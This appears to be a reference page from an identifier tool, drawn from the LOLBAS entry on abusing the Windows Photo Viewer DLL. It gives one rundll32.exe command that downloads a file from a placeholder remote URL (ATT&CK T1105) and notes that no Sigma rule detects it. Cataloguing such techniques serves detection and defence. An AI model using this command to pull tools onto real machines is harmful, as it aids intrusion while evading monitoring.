Identifier / Programs / Windows
photoviewer.dll
LOLBAS Download 1 ATT&CK technique 1 documented command
How photoviewer.dll is abused
Download T1105 Ingress Tool Transfer
Run by rundll32.exe: imageview_fullscreen
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for photoviewer.dll.
1 documented command
Download T1105 Ingress Tool Transfer User privileges
Once executed, rundll32.exe will download the file at the specified URL to the user's INetCache folder using the Windows Photo Viewer DLL.
rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}The command the identifier reads trips no Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for photoviewer.dll, by Avihay Eldad, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for photoviewer.dll. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.